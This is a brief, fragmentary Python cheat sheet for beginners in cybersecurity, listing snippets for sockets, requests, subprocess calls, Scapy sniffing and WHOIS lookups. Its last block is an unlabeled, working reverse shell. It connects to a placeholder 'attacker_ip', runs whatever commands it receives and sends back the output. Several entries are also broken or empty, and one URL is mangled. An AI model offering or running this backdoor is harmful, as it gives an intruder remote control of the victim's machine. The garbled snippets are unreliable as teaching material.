Python for Cybersecurity Basics
Python for Cybersecurity Basics
Example:
print(file.read())
- OS & Subprocess:
import os
os.system('whoami')
- Regex:
import re
- Exception Handling:
try:
x=1/0
except ZeroDivisionError:
print('Error caught!')
- Socket Programming:
import socket
s = socket.socket()
s.connect(('example.com', 80))
- Requests:
import requests
r = requests.get('http://example.com')
print(r.text)
- Scapy Intro:
sniff(count=5)
- BeautifulSoup:
- WHOIS API:
import whois
print(whois.whois('example.com'))
import socket,subprocess
s=socket.socket()
s.connect(('attacker_ip',port))
while True:
cmd=s.recv(1024)
output=subprocess.getoutput(cmd.decode())
s.send(output.encode())